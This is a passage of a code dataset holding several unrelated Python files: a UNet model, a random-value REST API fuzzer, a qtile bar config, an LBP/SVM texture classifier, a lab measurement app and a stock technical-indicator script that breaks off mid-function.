torch.cat([down1, out],1)\n        out = self.up1(out)\n\n        out = F.upsample(out, scale_factor=2, mode='bilinear') #256\n        out = self.up0(out)\n\n        out = self.classify(out)\n        out = F.sigmoid(out)\n\n        return out\n\n\ndef unet(pretrained=False):\n    model = UNet(pretrained=pretrained)\n    return model\n\n\ndef factory(name='unet'):\n    model_func = globals().get(name, None)\n    if model_func is None:\n        raise AttributeError(\"Model %s doesn't exist\" % (name,))\n\n    model = model_func() # pretrained=False\n    return model\n\n\ndef main():\n    model = factory('unet')\n    from utils import dice_loss\n\n    inputs = torch.randn(8, 3, 256, 256)\n    labels = torch.LongTensor(8, 256, 256).random_(1).type(torch.FloatTensor)\n\n    model = model.cuda().train()\n    x = torch.autograd.Variable(inputs).cuda()\n    y = torch.autograd.Variable(labels).cuda()\n    logits = model.forward(x)\n\n    loss = dice_loss(logits, y)\n    loss.backward()\n\n    print(type(model))\n    print(model)\n\n    print('logits')\n    print(logits)\n\nif __name__ == '__main__':\n    sys.exit(main())","sub_path":"cell/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"58748383","text":"from sqlite3 import connect as sqlite3_open\nfrom sqlite3 import Error as SQLite3Error\nfrom request.generator import RequestGenerator, ParameterNotFilled\nfrom request.request import Request\nfrom utils.common import TerminateException, ForceStop\nfrom .mutation import Mutation\nfrom pyxml2dict import XML2Dict\nfrom json import loads as json_decode\nimport random\nfrom sys import float_info\nimport pickle\nfrom datetime import datetime\nfrom shutil import copyfile\n\ndef find_val(obj, target_key):\n  for k, v in obj.items():\n    if k == target_key:\n      return v\n    elif isinstance(v, dict):\n      return find_val(v, target_key)\n  return None\n\nclass Fuzzing:\n  def __init__(self):\n    self.db = self._init_db()\n    self.context = None\n    self.indepenent_item = None\n    self.executed_request_count = None\n    self.final_status_code = None\n    self.request_parameters = None\n\n  def _init_db(self):\n    fname = 'result_{}.db'.format(str(datetime.utcnow()).replace(' ', '_'))\n    copyfile('result_empty.db', fname)\n    return sqlite3_open(fname)\n\n  def _log(self, req_set):\n    req_set = pickle.dumps(req_set)\n    context = pickle.dumps(self.context)\n    status = self.last_status_code\n    req_param = pickle.dumps(self.request_parameters)\n    req_cnt =self.executed_request_count\n\n    try:\n      cur = self.db.cursor()\n      cur.execute('INSERT INTO fuzzing_log (status, req_set, req_param, req_cnt, context) VALUES(?, ?, ?, ?, ?)', (status, req_set , req_param, req_cnt, context))\n      self.db.commit()\n    except SQLite3Error:\n      raise TerminateException('db error')\n\n  def _init_context(self):\n    self.context = {}\n    self.independent_item = {}\n    self.executed_request_count = 0\n    self.last_status_code = 0\n    self.request_parameters = []\n\n  def execute(self, seq_set):\n    try:\n      while True:\n        selected_seq = random.choice(seq_set)\n        self._execute_sequence(selected_seq)\n    except KeyboardInterrupt:\n      raise TerminateException('BYE/')\n    \n\n  def execute_sequence_set_once(self, seqSet):\n    if not isinstance(seqSet, list):\n      raise TerminateException('Fuzzing.execute should require list')\n\n    for seq in seqSet:\n      self._execute_sequence(seq)\n\n  def _execute_sequence(self, seq):\n    self._init_context()\n    self._infer_context_parameter(seq)\n    last_req = seq[-1:][0]\n\n    try:\n      # build up context\n      for req in seq[:-1]:\n        self._request(req)\n\n      # do mutate      \n      self._request_mutation(last_req)\n    except ForceStop as e:\n      print(\"ForceStop\", e.message)\n    finally:\n      self._log(seq)\n\n  def _infer_context_parameter(self, req_set):\n    callback_i = lambda x: self.independent_item.update(x)\n    callback_c = lambda x: self.context.update(x)\n\n    for req in req_set:\n      self._param_parse(req, callback_i, callback_c) \n\n  def _param_parse(self, req, callback_i, callback_c):\n    t = Mutation([])\n\n    body = t.remove_param_object(req.parameter)\n    path = t.remove_path_object(req.req_param)\n\n    for category in body:\n      for item in body[category]:\n        if req.method == 'post':\n          callback_i(body[category])\n        else:\n          if item not in self.independent_item:\n            callback_c({item: [body[category][item], None]})\n\n  \n    for item in path:\n      callback_c({item: [path[item], None]})\n\n  def _update_context(self, obj):\n    for key in self.context:\n      val = find_val(obj, key)\n      if val != None:\n        self.context[key][1] = val\n\n  def _get_random_value(self, _type):\n    t = Mutation([])\n    if _type == 'string':\n      i = random.randrange(0, 2)\n      if i == 0: val = ''\n      elif i == 1: val = t.random_string(20)\n      elif i == 2: val = '' # TODO: ...\n    elif _type == 'integer':\n      i = random.randrange(0, 5)\n      if i == 0: val = 0\n      elif i == 1: val = random.randrange(1, t.int_max_len[1] - 1)\n      elif i == 2: val = random.randrange(t.int_max_len[0] + 1, -1)\n      elif i == 3: val = t.int_max_len[1]\n      elif i == 4: val = t.int_max_len[0]\n    elif _type == 'float':\n      i = random.randrange(0, 5)\n      if i == 0: val = 0.0\n      elif i == 1: val = random.random()\n      elif i == 2: val = -random.random()\n      elif i == 3: val = float_info.max\n      elif i == 4: val = float_info.min\n    elif _type == 'boolean':\n      val = bool(random.randrange(0, 2))\n    elif _type == 'array':\n      val = [] # TODO: should put the items\n    else:\n      val = None\n    return val\n\n  def _request(self, req, parameters=None):\n    if not isinstance(req, Request):\n      raise TerminateException('Fuzzing._request should require Request object')\n\n    if parameters == None:\n      parameters = {}\n\n    gen = RequestGenerator(req)\n    for key in self.independent_item:\n      val = self._get_random_value(self.independent_item[key])\n      gen.set_parameter(key, val)\n\n    for key in self.context:\n      val = self.context[key][1]\n      gen.set_parameter(key, val)\n    for key in parameters:\n      val = self._get_random_value(parameters[key])\n      gen.set_parameter(key, val)\n    self.request_parameters.append(gen.get_parameters())\n\n    try:\n      self.executed_request_count += 1\n      response_code, headers, content = gen.execute()\n    except ParameterNotFilled:\n      raise ForceStop('Parameter is not filled')\n    self.last_status_code = response_code\n    if response_code / 100 == 5: raise ForceStop('status_code == 500')\n    if response_code / 100 == 4: raise ForceStop('status_code == 400')\n\n    if 'content-type' in headers:\n      content_type = headers['content-type'] # request's Accept is response's Content-Type\n      #if content_type != gen.headers['Accept']:\n      #  raise ForceStop('Response[content-type] and Request[accept] is not match')\n\n      if content_type == 'application/json':\n        dat = json_decode(content.decode('utf-8'))\n        self._update_context(dat)\n      elif content_type == 'application/xml':\n        xml2dict = XML2Dict()\n        dat = xml2dict.fromstring(content.decode('utf-8'))\n        self._update_context(dat)\n      else:\n        pass\n\n    self.last_status_code = response_code\n    return (headers, content)\n\n  def _request_mutation(self, req):\n    mutation_target = {}\n\n    _mutation_type = random.randrange(0, 2)\n    if _mutation_type == 0: # both mutation\n      cb1 = lambda x: mutation_target.update({list(x)[0]: x[list(x)[0]][0]})\n      cb2 = lambda x: mutation_target.update({list(x)[0]: x[list(x)[0]][0]})\n    elif _mutation_type == 1: # indepedent_item mutation\n      cb1 = lambda x: mutation_target.update({list(x)[0]: x[list(x)[0]][0]})\n      cb2 = lambda x: 0\n\n    self._param_parse(req, cb1, cb2)\n\n    mutation_input = {}\n    for _name in mutation_target:\n      _type = mutation_target[_name]\n      \n      _do_mutate = bool(random.randrange(0, 2))\n      if not _do_mutate: continue\n\n      type_change_flag = bool(random.randrange(0, 2))\n      if type_change_flag:\n        candidate_type = ['integer', 'string', 'array', 'float', 'boolean']\n        to_type = random.choice(candidate_type)\n        if _name in req.req_param:\n          req.req_param[_name] = to_type\n        for category in req.parameter:\n          for key in req.parameter[category]:\n            if _name in req.parameter[category][key]:\n              req.parameter[category][key] = req.parameter[category][key].replace('\\'{}\\': \\'{}\\''.format(_name, _type), '\\'{}\\': \\'{}\\''.format(_name, to_type))\n        _type = to_type\n      mutation_input.update({_name: _type})\n    headers, content = self._request(req, mutation_input)\n    return headers, content, 'how it mutated'\n\nif __name__ == '__main__':\n  pass\n\n","sub_path":"src/npfuzz/fuzz.py","file_name":"fuzz.py","file_ext":"py","file_size_in_byte":7564,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"351774607","text":"from libqtile import bar, widget\nfrom libqtile.config import Screen\n\n# widget config\nwidget_defaults = dict(\n    font=\"jetbrains mono\",\n    fontsize=14,\n    padding=3,\n)\nextension_defaults = widget_defaults.copy()\n\nbar_widgets = [\n    widget.CurrentLayout(),\n    widget.GroupBox(),\n    widget.Prompt(),\n    widget.WindowName(),\n    widget.Chord(\n        chords_colors={\n            \"launch\": (\"#ff0000\", \"#ffffff\"),\n        },\n        name_transform=lambda name: name.upper(),\n    ),\n    widget.TextBox(\"default config\", name=\"default\"),\n    widget.TextBox(\"Press &lt;M-r&gt; to spawn\", foreground=\"#d75f5f\"),\n    widget.Systray(),\n    widget.Clock(format=\"%Y-%m-%d %a %I:%M %p\"),\n    widget.QuickExit(),\n]\n\nscreens = [Screen(bottom=bar.Bar(bar_widgets, 24))]\n","sub_path":"qtile/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"520361528","text":"def read_data(path):\n    import numpy as np\n    import pandas as pd\n    import sys\n\n    i_data=pd.read_csv(path)\n\n    x=np.array([list(i_data['1'])])\n    data_cols=i_data.columns\n    for i in data_cols[2:]:\n        x=np.r_[x,np.array([list(i_data[i])])]\n    y=np.array(list(i_data['0']))\n    x=x.T\n    return x,y\n\n'''\n@input:feature x and label y\n@output:accuracy_score\n'''\ndef svm_solve(x,y,cas):\n    from sklearn import svm\n    #metrics是评估模块，例如准确率等\n    from sklearn import metrics\n    from sklearn.model_selection import cross_val_predict\n\n    clf=svm.SVC(C=32,gamma=0.5,kernel='rbf',decision_function_shape='ovo')\n    #10折交叉验证,cross_val_predict返回的是estimator的分类结果，用于和实际数据比较\n    y_pred=cross_val_predict(clf,x,y,cv=10)\n    if cas ==-1 :\n        print(\"Case with no guassian noisy:\")\n    else :\n        print(\"Case sigma %d: \"%(10**cas))\n    print(\"data with 10folds, precision is:\",metrics.accuracy_score(y,y_pred))\n\n'''\n对数据进行特征提取并存放到csv文件中作为raw data\n注意的是文件名后面要加上'/'因为listdir没有'/'\n'''\ndef get_data(rpath,wpath):\n    import os\n    path = rpath\n    files=os.listdir(path)\n    cnt = 1\n    for image_class in files:\n        files = os.listdir(path+image_class)\n        print(\"here \"+str(cnt))\n        for file in files:\n                feature = get_feature(path+image_class+'/'+file)\n                write_data(feature,cnt,wpath)\n        cnt += 1\n    add_head(wpath)\n\ndef write_data(feature,label,path):\n\n    #输出libsvm格式数据\n    with open(path,\"a+\") as f:\n        lf=[str(i) for i in feature]\n        cnt=1\n        sf=''\n        for i in lf:\n            sf=sf+' '+str(cnt)+':'+i\n            cnt+=1\n        f.write(str(label)+' '+sf+'\\n')\n    '''\n    #输出csv的逗号表达式的数据\n    with open(path,\"a+\") as f:\n        lf=[str(i) for i in feature]\n        sf=','.join(lf)\n        f.write(str(label)+','+sf+'\\n')\n    '''\n    #add_head(path)\n    \ndef add_head(path):\n\n    #在文件头追加一行列索引这里向量是256dim的\n    tmp=list(range(0,257))\n    st=','.join([str(i) for  i in tmp])\n    #print(st)\n    with open(path,\"r+\") as f:\n       content=f.read()\n       f.seek(0,0)\n       f.write(st+'\\n'+content)\n\n'''\n@para: image-path\n\n获取 pic 路径下图片的特征向量\n'''\ndef get_feature(pic):\n    from PIL import Image\n    import numpy as np\n    im= Image.open(pic)\n    im_array=np.array(im)\n    tmp= im_array\n    M,N=im.size\n    lbp=[[0 for col in range (3)] for row in range(3)]\n    feature=[0 for i in range(0,256)]\n    \n    '''\n    #打印像素\n    for i in range(0,10):\n     for j in range(0,10):\n            print(im_array[i][j],end=' ')\n     print()\n    '''\n\n    im_array = add_noisy(im_array,N,M,\"Guass\",60)\n\n    for y in range (0,N):\n        for x in range (0,M):\n            for dx in range (-1,2):\n                for dy in range (-1,2):\n                 nx=x+dx\n                 ny=y+dy\n                 if check(N,M,nx,ny) and (not(dx==0 and dy==0)):\n                        if im_array[ny][nx]<im_array[y][x]:lbp[dy][dx]=0\n                        else :lbp[dy][dx]=1\n            tmp[y][x]=encode(lbp)\n            feature[tmp[y][x]]+=1\n    sum_feature=0\n    #normalize it\n    for i in range(0,256):\n        sum_feature+=feature[i]\n    for i in range(0,256):\n        feature[i]/=sum_feature\n\n    #print(\"feature before\",feature)\n    MM=0\n    mm=2\n    for i in range(0,256):\n        if feature[i]>MM :MM=feature[i]\n        if feature[i]<mm :mm=feature[i]\n    ddd=MM-mm\n    for i in range(0,256):\n        feature[i]=(feature[i]-mm)/ddd\n    #print(\"feature after\",feature)\n    return feature\n\n'''\n检查是否边界\n'''\ndef check(N,M,x,y):\n    if x>=0 and x<M and y>=0 and y<N:\n        return 1;\n    else :\n        return 0;\n\n'''\n进行8bit LBP  编码\n'''\ndef encode(lbp):\n    cnt=0\n    ans=0\n    for i in range(-1,2):\n        for j in range(-1,2):\n            if not(i==0 and j==0):\n                ans+=(1<<cnt)*lbp[i][j]\n                cnt=cnt+1\n    return  ans\n\n\ndef add_noisy(im_array,N,M,kind,sigma):\n    import numpy as np\n    SampleNum = 10001\n    distrubute = sigma*np.random.randn(SampleNum)\n    if kind == \"Guass\":\n        for i in range(0,N):\n            for j in range(0,M):\n                tmp = im_array[i][j]\n                tmp = tmp + distrubute[random.randint(0,SampleNum-1)]\n                if tmp<0: tmp = 0 \n                if tmp>255:tmp = 255\n                im_array[i][j] = int(tmp)\n    return im_array\n\n\nif __name__=='__main__':\n    import sys\n    import numpy as np\n    import pandas as pd\n    import random\n    #完成特征提取的函数\n    #get_data(\"/home/li/ML/CV/data/\",\"Oridata_sigma_60_lib.csv\")\n    path = 'noi_0_filter_0.csv'#'Oridata_sigma_50.csv'\n    x,y = read_data(path)\n    svm_solve(x,y,2)\n    '''\n    for i in range(-1,3):\n        if i>=0:\n            path = 'Oridata_sigma_'+str(10**i)+'.csv'\n            x,y=read_data(path)\n            svm_solve(x,y,i)\n        else:\n            path = 'original_data.csv'\n            x,y = read_data(path)\n            svm_solve(x,y,i)\n    '''\n","sub_path":"CV/algorithm/SVM_material_reco.py","file_name":"SVM_material_reco.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"197920821","text":"from freezable import Freezable\nfrom roi import Roi\n\nclass ProviderSpec(Freezable):\n    '''A possibly partial specification of a provider.\n    '''\n\n    def __init__(self):\n\n        self.roi = Roi()\n        self.gt_roi = None\n        self.has_gt = False\n        self.has_gt_mask = False\n\n        self.freeze()\n","sub_path":"gunpowder/provider_spec.py","file_name":"provider_spec.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"525816896","text":"import numpy as np\nimport lab\n\nclass JPA_Spec_vs_pFreq_Flux_SYT(lab.Application):\n    '''\n\n    '''\n    async def work(self):\n        async for Flux in self.sweep['Bias']:\n            app = lab.make_app('NA.JPA_S21_vs_pumpFreq', parent=self)\n            signal_freq, pumpFreq, y = await app.done()\n            yield signal_freq, pumpFreq, Flux, y\n\n\n    async def set_Bias(self,f):\n        self.rc['flux_sour'].setValue('Output', 'ON', ch=8)\n        self.rc['flux_sour'].setValue('Offset', f, ch=8)\n\n\n    def pre_save(self, signal_freq, pumpFreq, Flux, z):\n        if self.data.rows > 1:\n            signal_freq = signal_freq[0]\n            pumpFreq = pumpFreq[0]\n        return signal_freq, pumpFreq, Flux, z\n\n#     @staticmethod\n#     def plot(fig, data):\n\n#         signal_freq, pumpFreq, pumpPower, zr, zi = data\n\n#         z=20*np.log10(np.abs(zr+1j*zi))\n#         lab.imshow(fig, x/1e9, y, z, 'pumpFreq / GHz', 'pumpPower / V')","sub_path":"JPA/NA.JPA_APP/NA.S21_vs_pumpFreq_vs_Flux.py","file_name":"NA.S21_vs_pumpFreq_vs_Flux.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"435863230","text":"### Imports needed for analysis\n\nfrom datetime import datetime\nimport pandas as pd\nimport pandas_datareader.data as web\nfrom pathlib import Path\nimport schedule # need to pip install schedule\nimport time\nimport numpy as np\n\n### Imports to graph\n\nimport matplotlib.pyplot as plt\nimport matplotlib.dates as mdates\n\n### Imports needed for emailing\n\nimport smtplib\nimport os\nimport glob\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.base import MIMEBase\nfrom email.mime.text import MIMEText\nfrom email import encoders\n\n### ---- Global ---- ### \n## Make current date into string\ncurrent_date = datetime.now()\ncurrent_date = str(current_date)\ncurrent_date = current_date.split(\"-\")\nyear = current_date[0]\nmonth = current_date[1]\nday = current_date[2]\nday = day.split()\nday = day[0]\nformatted_date = month + \"-\" + day + \"-\" + year\n## Start and End time points\nx = datetime(2015, 1, 1) # arbitrary dates to obtain 6 month datetime timedelta\ny = datetime(2015, 7, 1)\nsix_month = y - x\n\nend = datetime.now()\nstart = end - six_month\n\n\n### Functions for Indicator Calculations\ndef calc_sma(window, sclose):\n\t'''\n\tParameters:\n\twindow (int): the size of the window of the moving average\n\tcloseDict (pandas dataframe): dataframe of close values of stocks\n\n\tReturns:\n\tfinal_sma (pandas dataframe): dataframe of sma of stocks\n\t'''\n\t## Initial SMA calculated by (window) sum / (window)\n\n\t### Create a copy of the sclose dataframe\n\tclose = sclose.iloc[:,:].copy()\n\n\t### Creates the sma dataframe based on window size\n\tfinal_sma = close.rolling(window).sum()/window\n\n\treturn final_sma\n\ndef calc_ema(window, sclose):\n\t'''\n\tParameters:\n\twindow (int): the size of the window of the moving average\n\tsclose (pandas dataframe): dataframe of close values of stocks\n\n\tReturns:\n\t'''\n\t## Multiplier = 2 / (Time periods + 1)\n\t## EMA = [Close - EMA(previous day)] x multiplier + EMA(previous day)\n\n\t### Obtain the sma dataframe for the window\n\tsma = calc_sma(window, sclose)\n\t### Set the multiplier\n\tmultiplier = 2 / (window + 1)\n\t### Create a copy of the sclose dataframe \n\tema_skeleton = sclose.copy()\n\t\n\t### Gives the first index of each sma in the dataframe (use as start value) (if window is 26, this returns 25)\n\tfirst_index = sma.apply(lambda col: col.first_valid_index())\n\n\t### Deletes the close values until the first index of seed sma \n\tfor symbol in ema_skeleton.columns.values:\n\t\ttry:\n\t\t\tseed = int(first_index[symbol])\n\t\texcept:\n\t\t\tprint(symbol + \": gave an error\")\n\t\tema_skeleton.iloc[:seed,:] = np.nan\n\n\t### Sets the seed value of the ema dataframe (as the first sma value)\n\tfor symbol in ema_skeleton.columns.values:\n\t\ttry:\n\t\t\tseed = int(first_index[symbol])\n\t\texcept:\n\t\t\tprint(symbol + \": gave an error\")\n\t\tema_skeleton[symbol][seed] = sma[symbol][seed]\n\n\t### Length of the number of data points\n\trows = len(ema_skeleton.index)\n\t### Creates a copy\n\tfinal_ema = ema_skeleton.copy()\n\n\t### Calculates next ema based on previous ema's\n\tfor symbol in ema_skeleton.columns.values:\n\t\ttry:\n\t\t\tseed = int(first_index[symbol])\n\t\texcept:\n\t\t\tprint(symbol + \": gave an error\")\n\t\tfor i in range(seed + 1, rows):\n\t\t\tfinal_ema[symbol][i] = (final_ema[symbol][i] - final_ema[symbol][i - 1]) * multiplier + final_ema[symbol][i - 1]\n\n\treturn final_ema\n\ndef calc_rsi(window, sclose):\n\t'''\n\tParameters:\n\twindow (int): the size of the data of stocks (should be 14)\n\tsclose (pandas dataframe): the close values of the stock\n\n\tReturns:\n\tfinal_rsi (pandas dataframe): the RSI value of each stock\n\t'''\n\t## RSI = 100 - 100/(1 + RS)\n\t## Average Gain = (Total Gains / n)\n\t## Average Loss = (Total Loss / n)\n\t## First RS = Average Gain / Average Loss\n\t## Smoothed RS = [(previous Average Gain) x (window - 1) + Current Gain] \n\t##\t\t\t\t---------------------------------------------------------\n\t##\t\t\t\t [(previous Average Loss) x (window - 1) + Current Loss]\n\t## RSI = 100 - 100/(1 + Smoothed RS)\n\t## Above 70 --> Overbought (Sell); Below 30 --> Oversold (Buy)\n\n\t### Create a copy of close data for gain and loss dataframes\n\tgain = sclose.copy()\n\tloss = sclose.copy()\n\trows = len(sclose.index)\n\n\t### Deletes the close values but retains size\n\tfor symbol in sclose.columns.values:\n\t\tgain.iloc[:, :] = np.nan\n\t\tloss.iloc[:, :] = np.nan\n\tavgg = gain.copy()\n\tavgl = loss.copy()\n\tfinal_rsi = gain.copy()\n\n\t### Calculates change in close values and adds respective data to either gain or loss\n\tfor symbol in sclose.columns.values:\n\t\tfor i in range(1, rows):\n\t\t\tchange = sclose[symbol][i] - sclose[symbol][i - 1]\n\t\t\tif change >= 0:\n\t\t\t\tgain[symbol][i] = change\n\t\t\t\tloss[symbol][i] = 0\n\t\t\telse:\n\t\t\t\tgain[symbol][i] = 0\n\t\t\t\tloss[symbol][i] = abs(change)\n\n\t### Calculates the base AvgGain and AvgLoss into dataframe\n\tfor symbol in sclose.columns.values:\n\t\tsumgain = 0\n\t\tsumloss = 0\n\t\tfor i in range(1, window + 1):\n\t\t\tsumgain += gain[symbol][i]\n\t\t\tsumloss += loss[symbol][i]\n\t\tavgg[symbol][window] = sumgain / window\n\t\tavgl[symbol][window] = sumloss / window\n\tfor symbol in sclose.columns.values:\n\t\tseed = window\n\t\tfor i in range(seed + 1, rows):\n\t\t\tavgg[symbol][i] = (avgg[symbol][i - 1] * (window - 1) + gain[symbol][i]) / window\n\t\t\tavgl[symbol][i] = (avgl[symbol][i - 1] * (window - 1) + loss[symbol][i]) / window\n\n\t### Creates the dataframe for the RSI values\n\tfor symbol in sclose.columns.values:\n\t\tfor i in range(window, rows):\n\t\t\trs = avgg[symbol][i] / avgl[symbol][i]\n\t\t\trsi = 100 - (100 / (1 + rs))\n\t\t\tfinal_rsi[symbol][i] = rsi\n\n\treturn final_rsi\n\ndef calc_cci(window, sclose, shigh, slow):\n\t'''\n\tParameters:\n\twindow (int): the size of the data of stocks (should be 20)\n\tsma (float): the sma value of the stock \n\tsclose (pandas dataframe): the close values of the stocks\n\tshigh (pandas dataframe): the high values of the stocks\n\tslow (pandas datafarme): the low values of the stocks\n\n\tReturns:\n\tcci_val (float): the CCI value of the stock\n\t'''\n\t## CCI = (Typical Price - 20-period SMA of TP) / (0.015 x Mean Deviation)\n\t## Typical Price (TP) = (High + Low + Close) / 3\n\t## Constant = 0.015 \n\t## Four Steps to calculate Mean Deviation:\n\t\t## Step 1) Subtract the most recent 20-period average of the typical price from each period's typical price\n\t\t## Step 2) Take the absolute value of these numbers\n\t\t## Step 3) Sum the absolute values \n\t\t## Step 4) Divide by the total number of periods (20)\n\t## +/- 100 may work in trading range, but +/-200 is a much harder level to reach and more representative of a true extreme\n\t## use 100\n\t## Positive --> Overbought (Sell); Negative --> Oversold (Buy)\n\n\t### Create copies of the necessary stock data dataframes (HLOC)\n\tclose = sclose.copy()\n\thigh = shigh.copy()\n\tlow = slow.copy()\n\t\n\t### Create empty data frame with same dimensions\n\ttp = sclose.copy()\n\tfor symbol in tp.columns.values:\n\t\ttp.iloc[:, :] = np.nan\n\n\tfinal_cci = tp.copy()\n\tmd = tp.copy()\n\t### Fill in values for the Typical Price dataframe\n\trows = len(tp.index)\n\tfor symbol in tp.columns.values:\n\t\tfor i in range(rows):\n\t\t\ttp[symbol][i] = (high[symbol][i] + low[symbol][i] + close[symbol][i]) / 3\n\n\t### 20-period SMA of TP Calculation\n\tsma = calc_sma(window, tp)\n\t### Get the first index of the 20-period SMA \n\tfirst_index = sma.apply(lambda col: col.first_valid_index())\n\n\t### Calculate Mean Deviation\n\tfor symbol in md.columns.values:\n\t\tseed = int(first_index[symbol])\n\t\tfor i in range(seed, rows):\n\t\t\tmdsum = 0\n\t\t\tfor j in range(i - 19, i):\n\t\t\t\tdiff = tp[symbol][j] - sma[symbol][i]\n\t\t\t\tmdsum += abs(diff)\n\t\t\tmdsum /= 20\n\t\t\tmd[symbol][i] = mdsum\n\n\t### Calculate CCI\n\tfor symbol in final_cci.columns.values:\n\t\tseed = int(first_index[symbol])\n\t\tfor i in range(seed, rows):\n\t\t\tfinal_cci[symbol][i] = (tp[symbol][i] - sma[symbol][i]) / (0.015 * md[symbol][i])\n\n\treturn final_cci\n\ndef calc_keltner_high(window, sclose, shigh, slow):\n\t'''\n\tParameters:\n\twindow (int): the size of the data of the stocks \n\tsclose (pandas dataframe): the close values of the stocks\n\tshigh (pandas dataframe): the high values of the stocks\n\tslow (pandas dataframe): the low values of the stocks\n\n\tReturns:\n\tkeltner_val_high (pandas dataframe): the Upper Channel Line dataframe\n\t'''\n\t## 3 Steps to Calculate the Keltner Channels\n\t\t## 1) Selection the length of the EMA (26)\n\t\t## 2) Choose time periods for ATR (26)\n\t\t## 3) Choose the multiplier for the ATR (3)\n\t\t\t### stockcharts (26, 3, 26)\n\t## Upper Channel Line: 26-day ema + (3 x ATR(13))\n\t## Lower Channel Line: 26-day ema - (3 x ATR(13))\n\t## Current ATR = [(Prior ATR x window - 1) + Current TR] / window\n\t\t## Multiply the previous 14-day ATR by 13\n\t\t## Add the most recent day's TR value\n\t\t## Divide the total by 14\n\t## True Range (TR) is absolute value of High - Low \n\t## First TR found by taking the first 14 day window and taking average\n\t## Notify when stock price crosses band\n\n\t### Create copies of the necessary stock data dataframes (HLOC)\n\tclose = sclose.copy()\n\thigh = shigh.copy()\n\tlow = slow.copy()\n\n\t### Create empty data frame with same dimensions\n\ttr = sclose.copy()\n\tfor symbol in tr.columns.values:\n\t\ttr.iloc[:, :] = np.nan\n\n\tatr = tr.copy()\n\tfinal_kelt_high = tr.copy()\n\n\t### Window-period EMA (26)\n\tema = calc_ema(window, sclose)\n\n\t### Fill in values for the TR dataframe (High - Low)\n\trows = len(tr.index)\n\tfor symbol in tr.columns.values:\n\t\tfor i in range(rows):\n\t\t\ttr[symbol][i] = abs(high[symbol][i] - low[symbol][i])\n\n\t### Dataframe for the ATR with a period of 26\n\t### First set the seed value of ATR based off window and TR dataframe\n\tinitial = 0\n\tfor symbol in atr.columns.values:\n\t\tfor i in range(window):\n\t\t\tinitial += tr[symbol][i]\n\t\tinitial /= window\n\t\tatr[symbol][window - 1] = initial\n\n\t### Dataframe for the first index of the stocks\n\tfirst_index = atr.apply(lambda col: col.first_valid_index())\n\n\t### Fill the rest of the values for ATR dataframe\n\tfor symbol in atr.columns.values:\n\t    seed = int(first_index[symbol])\n\t    for i in range(seed + 1, rows):\n\t        atr[symbol][i] = (atr[symbol][i - 1] * (window - 1) + tr[symbol][i]) / (window)\n\n\t### Fill in values for the Keltner Upper Channel dataframe\n\tfor symbol in final_kelt_high.columns.values:\n\t    seed = int(first_index[symbol])\n\t    for i in range(seed, rows):\n\t        final_kelt_high[symbol][i] = ema[symbol][i] + (3 * atr[symbol][i])\n\n\treturn final_kelt_high\n\ndef calc_keltner_low(window, sclose, shigh, slow):\n    '''\n    Parameters:\n    window (int): the size of the data of the stocks \n    sclose (pandas dataframe): the close values of the stocks\n    shigh (pandas dataframe): the high values of the stocks\n    slow (pandas dataframe): the low values of the stocks\n\n    Returns:\n    keltner_val_low (pandas dataframe): the Lower Channel Line dataframe\n    '''\n    ## 3 Steps to Calculate the Keltner Channels\n        ## 1) Selection the length of the EMA (26)\n        ## 2) Choose time periods for ATR (26)\n        ## 3) Choose the multiplier for the ATR (3)\n            ### stockcharts (26, 3, 26)\n    ## Upper Channel Line: 26-day ema + (3 x ATR(13))\n    ## Lower Channel Line: 26-day ema - (3 x ATR(13))\n    ## Current ATR = [(Prior ATR x window - 1) + Current TR] / window\n        ## Multiply the previous 14-day ATR by 13\n        ## Add the most recent day's TR value\n        ## Divide the total by 14\n    ## True Range (TR) is absolute value of High - Low \n    ## First TR found by taking the first 14 day window and taking average\n    ## Notify when stock price crosses band\n\n    ### Create copies of the necessary stock data dataframes (HLOC)\n    close = sclose.copy()\n    high = shigh.copy()\n    low = slow.copy()\n\n    ### Create empty data frame with same dimensions\n    tr = sclose.copy()\n    for symbol in tr.columns.values:\n        tr.iloc[:, :] = np.nan\n\n    atr = tr.copy()\n    final_kelt_low = tr.copy()\n\n    ### Window-period EMA (26)\n    ema = calc_ema(window, sclose)\n\n    ### Fill in values for the TR dataframe (High - Low)\n    rows = len(tr.index)\n    for symbol in tr.columns.values:\n        for i in range(rows):\n            tr[symbol][i] = abs(high[symbol][i] - low[symbol][i])\n\n    ### Dataframe for the ATR with a period of 26\n    ### First set the seed value of ATR based off window and TR dataframe\n    initial = 0\n    for symbol in atr.columns.values:\n        for i in range(window):\n            initial += tr[symbol][i]\n        initial /= window\n        atr[symbol][window - 1] = initial\n\n    ### Dataframe for the first index of the stocks\n    first_index = atr.apply(lambda col: col.first_valid_index())\n\n    ### Fill the rest of the values for ATR dataframe\n    for symbol in atr.columns.values:\n        seed = int(first_index[symbol])\n        for i in range(seed + 1, rows):\n            atr[symbol][i] = (atr[symbol][i - 1] * (window - 1) + tr[symbol][i]) / (window)\n\n    ### Fill in values for the Keltner Lower Channel dataframe\n    for symbol in final_kelt_low.columns.values:\n        seed = int(first_index[symbol])\n        for i in range(seed, rows):\n            final_kelt_low[symbol][i] = ema[symbol][i] - (3 * atr[symbol][i])\n\n    return final_kelt_low\n\n### Functions Needed for Emailing\ndef create_graphs(sclose, shigh, slow, dateData_final, cDate):\n\t'''\n\tParameters:\n\n\tReturns:\n\tfile_list (list): list of file names of the graphs\n\t'''\n\t## Create graphs for the stocks \n\t## Show EMA13, EMA26, RSI, CCI, Keltner Bands\n\t## Show data in a 6 month range\n\t## Keltner channel bands should be green\n\t## ema26 should be red\n\t## ema13 should be blue\n\t## need to plot candlestick charts (high and low) on keltner channels\n\t## RSI/CCI thresholds can be black\n\t# https://plot.ly/python/candlestick-charts/\n\t## display current rsi, cci, and values for keltner channel high/low\n\n\t### Create 